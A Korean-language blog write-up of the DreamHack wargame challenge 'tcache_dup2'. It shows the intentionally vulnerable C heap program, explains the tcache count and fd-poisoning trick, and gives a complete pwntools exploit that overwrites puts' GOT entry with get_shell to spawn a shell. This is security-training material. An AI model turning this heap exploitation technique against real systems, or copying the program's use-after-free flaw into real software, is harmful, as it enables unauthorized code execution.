Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage12_문제풀이(tcache_dup2) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage12_문제풀이(tcache_dup2)

CIDY 2022. 7. 10. 02:01
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
	size_t size;

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	ptr[idx] = malloc(size);

	if(!ptr[idx])
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size-1);

}

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

void get_shell() {
	system("/bin/sh");
}
int main() {
	int idx;
	int i = 0;

	initialize();

	while(1) {
		printf("1. Create heap\n");
		printf("2. Modify heap\n");
		printf("3. Delete heap\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create_heap(i);
				i++;
				break;
			case 2:
				modify_heap();
				break;
			case 3:
				delete_heap();
				break;
			default:
				break;
		}
	}
}

 

이전 dup문제와 비슷하다. gdb로 까보면 puts가 있는데 printf함수에서 포맷 스트링 같은거 없고 개행있으면 puts로 대체해버린다. 암튼 puts 의 got로 청크를 하나 더 연결시킨 다음 거길 겟쉘로 덮으면 되는 문제다.

 

근데 이제 tc_idx를 고려해줘야 하는데, 저 친구가 뭐냐면 진짜 청크 개수를 세어 주는 애다. 

 

그래서 만약 청크를 하나만 할당 후 해제한 다음, 하나를 날리고 다시 할당하려고 하면 fd로 연결된 주소에서 나오는 게 아니라 새롭게 할당해 주는 것이다. -> 청크를 하나만 할당하면 안 되고 두 개 이상 할당해 준 다음 fd를 조작해야 한다.

 

청크 0, 1을 할당하고 둘 다 해제시키면 tc_idx == 2가 된다. 이 상태에서 내가 청크 1의 fd값을 조작해주면 청크 0과의 연결이 끊겨 청크 0은 used로 판별된다.

 

이 상태에서 청크 하나를 새롭게 할당하면 freed상태였던 청크 1을 먼저 꺼내와 할당해주고, 여기서 하나를 더 새롭게 할당해주면서 겟쉘 주소를 적어주면 got overwrite가 되는 것이다. -> puts가 겟쉘로 덮여있으니 다시 돌아왔을 때 쉘이 따짐

 

앞에 몇개의 청크를 깔아주는지는 상관없음. 다음 그림은 위 설명을 일반화한 그림이다.

 

 

 

완성된 페이로드는 다음과 같다.

 

 

from pwn import *

p = remote("host3.dreamhack.games", 21320)
#p = process("./tcache_dup2")
e = ELF("./tcache_dup2")

def create(size, data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(size))
    p.recvuntil(b"Data: ")
    p.send(data)

def mod(idx, size, data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx))
    p.recvuntil(b"Size: ")
    p.sendline(str(size))
    p.recvuntil(b"Data: ")
    p.send(data)

def delete(idx):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx))

create(0x30, b"A")
create(0x30, b"A")
delete(0)
delete(1)

mod(1, 0x10, p64(e.got['puts']))

create(0x30, b"B")
create(0x30, p64(e.sym['get_shell']))


p.interactive()